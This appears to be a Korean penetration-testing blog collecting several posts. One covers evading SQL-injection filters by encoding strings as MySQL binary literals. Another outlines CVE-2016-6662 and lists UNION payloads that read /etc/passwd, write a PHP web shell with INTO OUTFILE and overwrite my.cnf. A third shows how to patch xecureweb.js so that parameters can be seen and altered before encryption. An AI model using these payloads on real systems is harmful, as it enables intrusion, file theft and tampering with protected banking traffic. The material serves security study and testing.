일반적으로 알려지지 않은  SQLi 우회 패턴이라 대부분의 방화벽 정책에 포함되어 있지 않은 방법이다. 

a를 0x61로 나타내는 hex표기법은 많이 알려져 있는 패턴이라 정책에 걸리는 경우가 많다.

하지만 같은 a를 binary(이진수)로 나타낸 0b01100001는 일반적으로 익숙하지 않은 표기법이다. 

mysql에서 select 0b0110001;을 입력하면 다음과 같이 a를 반환한다.


0b01100001이라는 수는 다음과 같은 방법으로 변환 가능하다.
(binary를 나타낼때는 ascii 값을 이진수로 변환하면됨)
알파벳
ascii
binary
a
97
0b01100001

이를 이용해서 원하는 쿼리를 삽입하는 것이 가능한데 
예를 들어, 경로를 표현하는 경우 c:\test.txt라는 파일경로를 삽입하고 싶은 경우, 
0b0110001100111010010111000111010001100101011110000111010000101110011101000111100001110100를 입력하면 된다.

** 변환시 https://www.binaryhexconverter.com/ascii-text-to-binary-converter를 사용하면 쉽게 변환이 가능하다!


참고 URL


개요

- MySQL에서 원격에서 루트 권한으로 코드를 실행하거나 원격 시스템 파일을 다운로드할 수 있는 취약점(CVE-2016-6662)
- MySQL 기본 설치로 사용하는 로깅 기능을 악용해 MySQL 설정 파일(my.cnf)에 악의적인 설정을 주입하여 원격 및 권한 상승(루트 권한) 공격이 가능한 취약점
- SQL Injection 취약점과 함께 사용할 경우 MySQL 서버를 손상시킬 수 있음
- DB서버가 재부팅되는 경우부터 적용

※ 취약한 버전


※ 공격 구문

  • Load_file() 함수 이용
    • select * from member  union select null, null, null, null, load_file('/etc/passwd');
    • select * from member  union select null, null, null, null, load_file(0x2f6574632f7061737764);
    • select * from member  union select null, null, null, null, load_file(char(47,101,116,99,47,112,97,115,115,119,100));

  • 웹쉘만들기
    • select * from member  union select null, null, null, null, "<? system($_REQUEST['cmd']); ?>" into outfile '/var/www/html/cmd.php';
                                -> mysql 사용자가 /var/www/html디렉터리에 접근권한이 없어 생성 불가

  • 설정파일 덮어쓰기(into outfile)
    • select * into outfile '/etc/my.cnf';



XecureWeb(제큐어웹) 개요

  • Xecureweb은 공인인증서 처리를 위한 프로그램이며, 공인인증서 사용 시 많은 금융권 회사들이 Xecureweb 솔루션을 도입해서 사용
  • PKI 기반의 암호와 전자서명 기능을 제공하는 웹 구간 암호화 솔루션
  • SEED, ARIA, AES 등 국내외 표준 암호화 알고리즘을 사용하여 보안 기술 표준을 준수하며, 주민번호, 민감정보 등에 대한 암호화, 공인인증, 서명 기능을 제공
  • 요청값과 응답값 암호화 가능
  • 요청값 암호화 시, 
    • DLL에서 암호화
    • Javascript로 암호화 (일반적으로, xecureweb.js 등 xecureweb이 들어간다.) 

암호화 솔루션이기 때문에  시스템 개발 시 제큐어웹을 사용하면, 전송 시 데이터 노출이 되지 않아 해킹 위협을 피할 수 있다고 생각하는 개발자들이 많은 것 같다... 
하지만 암호화 전의 값을 볼 수만 있다면 ?!

dll을 통해 적용하면 리버싱을 하는 등의 많은 작업을 요하지만,
xecureweb.js (보통 비슷한 이름)를 사용할 때, 스크립트 파일 변조를 통해 쉽게 암호화 전의 파라미터를 확인하고 변조할 수 있다!!


Xecureweb.js 파일 확인 및 변조

** 항상 같은 방법으로 js 파일이 코딩되어 있는 것이 아니므로, IE 개발자 도구의 디버깅 기능을 사용하여 언제 어디서 암호화가 이루어지는지 확인하는 과정이 필요하다.
** 아래 설명할 내용은 두 개의 다른 업체에서 동일하게(함수명도 동일) 적용되었던 것으로 보아, xecureweb 사용 시 기본으로 제공되는 파일일 것으로 추측된다.
** 해당 포스팅을 활용하여 악의적인 행위를 하였을 경우, 책임은 본인한테 있음을 경고합니다.
** 테스트로 진행한 해당 사이트에 대한 정보 노출을 최소하하기 위하여 많은 정보가 모자이크되어 있으니 양해 부탁드립니다..

1) 공인인증서를 사용하여 로그인 시도




2) 프록시 도구를 이용하여 파라미터 암호화 확인




3)  JS 파일 변조 * 파일을 변조하는 방법에는 정답이 없다...
        
        01 - 해당 페이지에서 [개발자도구]를 열어 xecureweb.js 파일을 찾는다.
        02 - 파일을 분석 및 디버깅하여 파라미터가 암호화되는 구간 및 함수를 찾아낸다.



        03 - 함수를 변조한다.
                    
                - 이 파일을 분석해 보면 XecureMakePlain이라는 함수를 통해 암호화 전의 파라미터를 처리하는 것을 확인할 수 있다.
                - 따라서, 함수가 plain_text 변수를 return하기 전에 해당값을 prompt를 통해 띄움으로써 평문 파라미터 확인이 가능하다.
                - 자바스크립트에서 경고창을 띄우는 방법은 여러가지(alert, confirm 등)가 있지만 prompt를 사용하는 이유는 수정도 가능하게 하기 위해서이다.
return plain_text; → plain_text=prompt("p", plain_text); return plain_text; 
                



        04 - 파라미터가 암호화되기 전 보여지는 지 확인하고, 항상 변조된 파일을 사용하기 위해 버프에 replace 규칙을 추가한다.






+ Recent posts